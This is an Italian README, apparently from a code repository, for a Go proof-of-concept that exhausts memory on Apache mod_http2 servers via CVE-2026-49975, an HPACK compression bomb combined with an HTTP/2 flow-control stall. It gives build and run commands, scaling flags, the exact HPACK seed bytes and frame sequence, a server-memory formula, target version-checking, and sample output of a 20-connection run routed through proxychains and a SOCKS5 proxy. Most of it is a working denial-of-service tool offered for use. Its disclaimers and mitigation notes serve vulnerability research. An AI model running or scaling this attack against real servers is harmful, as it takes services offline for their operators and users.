
PoC di ricerca sulla sicurezza per CVE-2026-49975: bomba di compressione HTTP/2 HPACK + DoS con blocco del controllo di flusso in Apache mod_http2
PoC di ricerca sulla sicurezza di naheeju
⚠️ Questo è uno strumento DoS funzionante di esaurimento della memoria — non un giocattolo. Apre stream che costringono il target ad allocare memoria e li mantiene aperti tramite trucchi di controllo di flusso HTTP/2. Finché il processo è in esecuzione, continua a mantenere e si riconnette automaticamente se il server chiude la connessione — non si ferma da solo. L'impatto scala direttamente con
--threads, e . Fermare il processo (Ctrl+C) rilascia gli stream mantenuti e consente al server di riprendersi, ma nulla nel funzionamento predefinito è "gentile" — considera ogni esecuzione come un test a fuoco vivo.
--streams--headersCVE-2026-49975 ("HTTP/2 Bomb") è una vulnerabilità di Denial-of-Service remota e non autenticata che interessa il modulo mod_http2 di Apache HTTP Server. Concatena due debolezze HTTP/2 note da tempo:
Cookie senza che vengano conteggiati ai fini di LimitRequestFields, costringendo il server ad allocare ripetutamente memoria per le strutture interne di bookkeeping degli header.Il risultato: un singolo client su una connessione modesta può forzare un'allocazione di memoria significativa e sostenuta sul target per tutto il tempo in cui lo stream viene mantenuto aperto. Questa implementazione supporta due modalità di payload e scala linearmente con la concorrenza configurata:
nginx — inserisce un header x-bomb vuoto nella tabella dinamica HPACK e lo referenzia ripetutamente (~70:1 di amplificazione per riferimento).classic — inserisce invece un header cookie sovradimensionato (~4000:1 di amplificazione per riferimento).Ogni connessione referenzia nuovamente l'header inserito migliaia di volte per stream (--headers, predefinito 5000), su più stream per connessione (--streams, predefinito 10) e più connessioni parallele (--threads, predefinito 1). Se il server chiude una connessione, lo strumento si riconnette immediatamente e continua finché non viene fermato manualmente — questo è un ciclo di mantenimento continuo, non una singola sonda una tantum.
Identificatori correlati per altri stack interessati (non implementati né testati da questo repo):
CVE-2026-47774Ambito completo della classe di debolezza sottostante, per completezza — la tecnica "HTTP/2 Bomb" (bomba di compressione HPACK + blocco del controllo di flusso) interessa diverse implementazioni server oltre ad Apache. Questo repo implementa e testa solo il caso Apache; il resto è incluso affinché i lettori comprendano la classe più ampia, non perché questo PoC le eserciti:
| Implementazione | Stato | Implementata in questo PoC? |
|---|---|---|
Apache HTTP Server mod_http2 | Corretta in httpd 2.4.68 (2026-06-08) | Sì — questo repo |
| nginx | Corretta in 1.29.8 | No |
| Envoy | Tracciata separatamente | No |
| Microsoft IIS | Tracciata separatamente | No |
| Cloudflare Pingora | Tracciata separatamente | No |
| CVE | CVE-2026-49975 |
| CWE | CWE-789 (Memory Allocation with Excessive Size Value, secondo NVD/CVE.org); tracciata anche come CWE-409 (Improper Handling of Highly Compressed Data) da alcuni vendor |
| CVSS | 7.5 (High) — CVSS v3.1, vettore solo disponibilità (secondo NVD). L'advisory di Apache la valuta Moderate. |
| Componente interessato | Apache HTTP Server mod_http2 |
| Versioni vulnerabili | Apache httpd 2.4.17 ≤ versione ≤ 2.4.67 (configurazione HTTP/2 predefinita) |
| Corretta in | Apache HTTP Server 2.4.68 (rilasciata il 2026-06-08). La correzione sottostante è arrivata upstream in mod_h2 il 2026-05-27, unita al branch httpd 2.4.x il 2026-06-02, distribuita nella release 2.4.68. |
| Tipo di attacco | Denial of Service — esaurimento della memoria (solo disponibilità) |
| Autenticazione richiesta | No |
| Esposizione dati / RCE | Nessuna — questo è solo un impatto sulla disponibilità |
| Sfruttamento noto | Attualmente non segnalato come sfruttato attivamente nel mondo reale dalle fonti tracciate. |
Riferimenti (fonti primarie — verifica in modo indipendente tutte le affermazioni):
Questo repository contiene:
Questo repository non contiene:
Leggi questo prima di fare qualsiasi altra cosa.
Scaricando, clonando o eseguendo qualsiasi codice in questo repository, accetti di essere l'unico responsabile di assicurarti di disporre della corretta autorizzazione e di accettare la piena responsabilità legale per il tuo uso dello stesso.
CVE-2026-49975 si applica solo a un target che soddisfa entrambi i criteri della Sezione 1 — raggiungibile su HTTP/2 e con una versione di mod_http2 vulnerabile e nell'intervallo (2.4.17 ≤ versione ≤ 2.4.67, configurazione predefinita). Un semplice curl -vkI contro la porta HTTPS del target è sufficiente per verificare entrambi — nessuno scanner o flag aggiuntivo necessario:
curl -vkI https://<target>
Cosa cercare nell'output:
ALPN: server accepted h2 — il server ha negoziato HTTP/2 per questa connessione. Questa è la precondizione per CVE-2026-49975, poiché il bug risiede in mod_http2; un server che non ha mai accettato h2 qui non è un candidato.Server (visibile una volta stampati gli header della risposta HEAD, più in basso nell'output di -v) — questo è ciò che conferma o esclude la versione effettiva di Apache/mod_http2 rispetto all'intervallo vulnerabile della Sezione 1. La sola accettazione ALPN non conferma la versione — serve comunque l'header Server o un controllo equivalente del banner.Nulla di più di questo viene utilizzato per la ricognizione in questo repo — nessun traffico di sfruttamento attivo, nessuno scanner di vulnerabilità, nessuna scansione delle porte.
cve202649975)golang.org/x/net v0.59.0 (risolte automaticamente tramite go build)443, TLS/h2 per impostazione predefinita; --no-ssl per h2c in chiaro)proxychains4, rileva il wrapper LD_PRELOAD, legge lo stesso proxychains4.conf e instrada le proprie connessioni attraverso quel proxy SOCKS5 (risoluzione DNS remota) — utile quando l'ambito di un incarico richiede di testare da un percorso di uscita specificoCronologia pubblica di CVE-2026-49975 stesso: segnalata ad Apache il 2026-05-26; correzione arrivata upstream in
mod_h2il 2026-05-27; unita al branch httpd 2.4.x il 2026-06-02; Apache HTTP Server 2.4.68 rilasciato il 2026-06-08.
Esegui questo solo contro un target che sei esplicitamente autorizzato a testare. Non esiste un limite di durata integrato né una modalità sicura — tu sei responsabile di quanto a lungo viene eseguito e con quale concorrenza.
Compilazione:
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos (see build.sh)
Esecuzione:
./dos <target> <port> [flags]
| Flag | Predefinito | Descrizione |
|---|---|---|
--threads N | 1 | Connessioni parallele |
--streams N | 10 | Stream aperti per connessione |
--headers N | 5000 | Riferimenti alla tabella dinamica HPACK per stream (motore di amplificazione) |
--mode nginx|classic | nginx | nginx = bomba di bookkeeping a header vuoto (~70:1); classic = bomba a cookie grasso (~4000:1, corrisponde al meccanismo di unione dei Cookie di mod_http2 di Apache per cui questo CVE è tracciato) |
--no-ssl | off | Usa h2c in chiaro invece di TLS |
Esempio, test minimale autorizzato in laboratorio:
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx
Comportamento da attendersi:
WINDOW_UPDATE da 1 byte e ping periodici; si riconnette automaticamente e ripete se il server chiude la connessione.Ctrl+C / SIGTERM — pianifica di conseguenza la tua finestra di test e monitora la memoria del target in tempo reale.--streams/--headers bassi prima di qualsiasi test di produzione autorizzato, e avere comunque pronto un piano di rollback/riavvio per il servizio target.Formula approssimativa della memoria lato server per le due modalità di questo strumento (solo Apache mod_http2 — vedi la Sezione 1 per come nginx/classic si mappano al rapporto di amplificazione):
total_streams = threads × streams
server_ram_MB ≈ total_streams × headers × amplification_bytes / 1024²
# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
# 1 × 10 × 5000 × 70 / 1024² ≈ 3.3 MB held
# classic mode (~4000 bytes/ref), defaults:
# 1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held
Aumenta threads/streams/headers e il numero cresce linearmente — ecco perché un test autorizzato in laboratorio dovrebbe iniziare basso (vedi Sezione 7) prima di qualsiasi esecuzione in ambito di produzione.
Questo documenta il meccanismo che questo specifico PoC implementa contro Apache mod_http2 — non si estende ad altre implementazioni server, che sono fuori ambito per questo repository (vedi Sezione 2).
Seme della tabella dinamica HPACK (indicizzazione incrementale, aggiunge la voce all'indice 62):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00 (nginx-mode seed: empty value)
Riferimento indicizzato a quella voce (1 byte ciascuno, ripetuto --headers volte):
0x80 | 62 = 0xbe
Sequenza di frame HTTP/2 per connessione:
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (connection preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (flow-control stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← HPACK bomb payload
HEADERS [stream 3] ← HPACK bomb payload
... (up to --streams per connection)
WINDOW_UPDATE(1) per stream, periodically (keeps the stall alive)
Il costo sulla rete è piccolo e per lo più fisso per stream (una manciata di byte per il seme + 1 byte per riferimento); l'allocazione lato server è ciò che cresce in modo sproporzionato — quel divario è la vulnerabilità.
Output di un'esecuzione autorizzata in laboratorio, modalità classic, 20 connessioni × 30 stream/conn, 5000 riferimenti HPACK/stream, instradata attraverso proxychains:
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
██╗ ██╗██████╗ ██████╗ ██████╗ ███╗ ███╗██████╗
██║ ██║╚════██╗ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
███████║ █████╔╝ ██████╔╝██║ ██║██╔████╔██║██████╔╝
██╔══██║██╔═══╝ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗
██║ ██║███████╗ ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝
CVE-2026-49975 — HTTP/2 Bomb PoC (HPACK bomb + flow-control hold)
Go PoC by naheeju · originally discovered by Calif.IO · authorized testing only
──────────────────────────────────────────────────────────────────
Run configuration
Target domain.com:443
Mode classic (~4000:1 amplification)
Connections 20
Streams/conn 30
Total streams 600
HPACK refs/str 5000
Est. server RAM ~11444 MB
Proxychains yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
[~] Opening connection #1...
...
[+] 30 streams open | ~572 MB pinned on server | holding...
[+] 30 streams open | ~572 MB pinned on server | holding...
... (one line per connection as it finishes opening its 30 streams)
Ogni connessione riporta indipendentemente il proprio contributo di RAM locale mentre apre gli stream (~572 MB per connessione con queste impostazioni); la cifra pre-volo Est. server RAM è l'aggregato su tutte le 20 connessioni (~11,4 GB) una volta che ogni connessione è completamente aperta e in mantenimento.
domain.comsopra è un segnaposto — sostituiscilo con il tuo effettivo target autorizzato quando documenti la tua esecuzione, e oscuralo se l'incarico è riservato.
LimitRequestFields in modo conservativo e monitora il comportamento di unione degli header.Scoperta e divulgazione originale della vulnerabilità ad Apache (nessuna relazione con questo repository o con il suo autore):
Questo repository (reimplementazione in Go, scritta e testata dopo l'arrivo della correzione pubblica):
Domande, correzioni o preoccupazioni relative alla divulgazione responsabile riguardo a questo specifico PoC: apri una issue su questo repository.
Licenza: MIT (solo il codice di questo repository — vedi LICENSE). Non si estende a, né implica l'approvazione da parte di, gli scopritori originali o della Apache Software Foundation.